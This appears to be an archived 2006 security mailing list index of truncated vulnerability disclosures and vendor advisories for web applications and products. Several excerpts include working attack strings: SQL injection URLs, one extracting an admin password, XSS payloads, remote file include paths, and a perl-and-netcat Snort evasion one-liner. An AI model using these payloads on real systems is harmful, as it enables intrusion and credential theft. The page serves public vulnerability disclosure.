------------------------------------------------------------------------
----
Drupal security advisory DRUPAL-SA-2006-005
------------------------------------------------------------------------
----
Advisory ID: DRUPAL-SA-2006-005
Project: Drupal core
Date:

[ more ]  [ reply ]

# Milli-Harekat Advisory ( www.milli-harekat.org )

# MyBloggie <= 2.1.1 version - Remote File Include Vulnerabilities

# Risk : meduim

# Class: Remote

# Script : MyBloggie 2.1.1 version

# Msn : erne [at] ernealizm.com

# Credits : ERNE

# Thanks : Dj_ReMix,Eskobar,Blackened,TR_IP,ßy
KorsaN,OsL3

[ more ]  [ reply ]

---------------------------------------------

Pro Publish SQL Injection and XSS Vulnerabilities

---------------------------------------------

Site:

http://www.deltascripts.com/download/

Bug:

1. SQL Injection :

http://victim/propublish/cat.php?catid='

2. XSS :

1- http:

[ more ]  [ reply ]

################ Azhteam Digital Security Team #################

#

# ASHOPKART20

#

# Find by Soltan_defacer

# Greetings; s.defacer - azhteam - lvl3hr

#

#

# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Contact: soltan_defacer (at) yahoo (dot) com [email concealed] or http://www.azhteam.com

#

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 1086-1 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
June 2nd, 2006

[ more ]  [ reply ]

MyTrueHood.com

Homepage:

http://www.mytruehood.com

Effected files:

Input boxes of submitting a comment and signing a guestbook

XSS proof of concept:

put <IMG SRC="javascript:alert('XSS');"> in the signing aguestbook or leaving a comment in a blog box.

[ more ]  [ reply ]

<!--

# Title : aspWebLinks 2.0 Remote Admin Pass Change Exploit and links.asp SQL Injection

# Author : ajann

# Dork : aspWebLinks 2.0

SQL INJECTION:

http://[target]/[path]/links.asp?action=reporterror&linkID=221%20union%2
0select+0,administrativepassword,0,0,0,0,0,0,0+from+config

-->

[ more ]  [ reply ]

There was a Snort evasion bug posted on BugTraq today
http://www.securityfocus.com/archive/1/435600/30/0/threaded

This attack will not show up in alert file at all
perl -e 'print "GET \x90\x90\x0d http/1.0\r\n\r\n"'|nc 192.168.1.3 80

Notice the \x0d CR character (\r) above.

The following will sho

[ more ]  [ reply ]

Script: Redaxo CMS
Vendor: http://www.redaxo.de
Discovered: beford <xbefordx gmail com>

Redaxo 3.2 - 3.1 - 3.0

./redaxo/include/addons/image_resize/pages/index.inc.php?REX[INCLUDE_PAT
H]=attacker

Redaxo 3.0

./redaxo3_0_demos_patched/redaxo/include/addons/image_resize/pages/index
.inc.php?subpage=r

[ more ]  [ reply ]

--On June 1, 2006 12:50:15 AM +0000 brokejunker (at) yahoo (dot) com [email concealed] wrote:

> Squirrelmail local file inclusion bug in functions/plugin.php .
> Tested on the latest 1.4.x version.
> No authentication needed.
>
> if (isset($plugins) && is_array($plugins)) {
> foreach ($plugins as $name) {
> use_plu

[ more ]  [ reply ]

Secunia security advisory categorises it as "less critical" :

http://secunia.com/advisories/20342/

I'm not going to argue with experts - our categorisation of the risk

level stays as it is.

Original report (which has been edited) claimed it was a remote exploit

- this is false, and seems to

[ more ]  [ reply ]

Script: Bytehoard 2.1 Epsilon/Delta www.bytehoard.org
Discovered: beford <xbefordx gmail com>
File: ./bytehoard/includes/webdav/server.php
Vuln: Remote File Include

[code]
require_once $bhconfig['bhfilepath']."/includes/webdav/_parse_propfind.php";
[/code]

http://url.com/bytehoard/includes/webda

[ more ]  [ reply ]

PHP ManualMaker v1.0

Homepage:

http://deltascripts.com/phpmanualmaker/

Effected files:

index.php

Search boxes

Comment boxes

XSS proof of concept:

Input in search or comment box:

">">">'><IMG SRC=javascript:alert('XSS')><""><'<"

XSS via URL injection of id:

http:/

[ more ]  [ reply ]

===================================

Discovery By: CrAzY CrAcKeR

Site: www.alshmokh.com

I want to thank my friend:-

nono225-mHOn-rageh-LoverHacker-BoNy_m

Breeeeh-Rootshil-LiNuX_rOOt-SauDiVirUS

===================================

Example:-

/vorstellung.php?id=[sql]

/vorstellung.php?

[ more ]  [ reply ]

Weblog Oggi v1.0

Homepage:

http://www.hotwebscripts.com/index.php

User input isn't sanatized before being dynamically generated. For proof of concept just put <IMG SRC="javascript:alert('XSS');"> in as a comment

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -------------------------------------------------------------------
VMware Security Advisory

Advisory ID: VMSA-2006-0002
Synopsis: VMware Server sensitive information lifetime issue
Advisory URL: http://www.vmwa

[ more ]  [ reply ]

Yeah,its so weird. vulnerable code in pagestart.php at line 68.

http://victim/modules/Forums/admin/admin_styles.php?phpbb_root_path=2

Warning: main(2common.php): failed to open stream: No such file or directory in C:\Inetpub\vhosts\victim\httpdocs\modules\Forums\admin\pagestart.php on line 68

Jus

[ more ]  [ reply ]

str0ke asked:

>Is this the same vulnerability?
>http://www.securityfocus.com/bid/5954

Well, let's see. Short answer is "probably not because they don't
seem to be the same product."

The most recent disclosure points to "MY Web Server" at
http://eitsop.s5.com/, which links to source code in a

[ more ]  [ reply ]

===================================

Discovery By: CrAzY CrAcKeR

Site: www.alshmokh.com

I want to thank my friend:-

nono225-mHOn-rageh-LoverHacker-BoNy_m

Breeeeh-Rootshil-LiNuX_rOOt-SauDiVirUS

===================================

Example:-

/rpt_menu.php?mnuId=[XSS]

===============

[ more ]  [ reply ]

On Thu, Jun 01, 2006 at 10:20:21AM +0200, Martin Schulze wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> - ------------------------------------------------------------------------
--
> Debian Security Advisory DSA 1085-1 security (at) debian (dot) org [email concealed]
> http://www.debian.org/sec

[ more ]  [ reply ]

======================================================================

Advisory : SMF 1.0.7 and lower plus 1.1rc2 and lower - IP spoofing
vulnerability/IP ban evasion vulnerability
Release Date : June 02, 2006
Application : SMF
Version : SMF 1.0.7 and previous versions, SMF1.1rc2 and lower
Platform

[ more ]  [ reply ]

PHPSimpleChoose 0.3.1 has been released. This fixes the problem.

[ more ]  [ reply ]

Hi,

Microsoft Internet Explorer version 7.0.5346.5 is not vulnerable. Tested on
Microsoft Windows XP - all patched.

Regards
Peter Kruse

-----Original Message-----
From: Mr.Niega (at) gmail (dot) com [email concealed] [mailto:Mr.Niega (at) gmail (dot) com [email concealed]]
Sent: 31. maj 2006 22:12
To: bugtraq (at) securityfocus (dot) com [email concealed]
Subject: Internet explore

[ more ]  [ reply ]

Joomla/Mambo CMS Component SimpleBoard 1.1.0 Stable XSS-Vulnerabilities
=======================================================================

Release Date
------------
June 01, 2006

Vendor
-------
Two Shoes Mambo Factory
http://www.tsmf.net/

Version
-------
SimpleBoard 1.1.0 Stable (com_simpleb

[ more ]  [ reply ]

Summary:

Memory dumping tools that use the PhysicalMemory device in Windows XP
can be blocked by allocating memory buffers with special memory types.
In older versions of Windows the tools instead could possibly cause
cache incoherence with some processor types, or other adverse side
effects. T

[ more ]  [ reply ]

------------------------------------------------------------------

- CAForum 1.0 Remote SQL Injection -

-= http://colander.altervista.org/advisory/CAForum.txt =-

------------------------------------------------------------------

-= CodeAvalanche Forum Version 1.0 =-

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

_______________________________________________________________________

Mandriva Linux Security Advisory MDKSA-2006:094
http://www.mandriva.com/security/
____________________________________________________________________

[ more ]  [ reply ]

in all mentioned files we have:

...

$phpbb_root_path = "./../";

require($phpbb_root_path . 'extension.inc');

...

so I would like to see how this can work...

[ more ]  [ reply ]

-- Corsaire Security Advisory --

Title: VMware ESX Server Cross Site Scripting issue
Date: 14.11.05
Application: VMware ESX prior to 2.5.2 upgrade patch 2
VMware ESX prior to 2.1.2 upgrade patch 6
VMware ESX prior to 2.0.1 upgrade patch 6
Environment: VMware ESX
Author: S

[ more ]  [ reply ]

Confirmed on a fully patched Windows XP.

It's a stack overflow in inetconn.dll, but it's most likely not exploitable
because the DLL is compiled with /GS. There are no other interesting variables
to overwrite between the buffer and the return address. Overwriting the
arguments doesn't get us anywhe

[ more ]  [ reply ]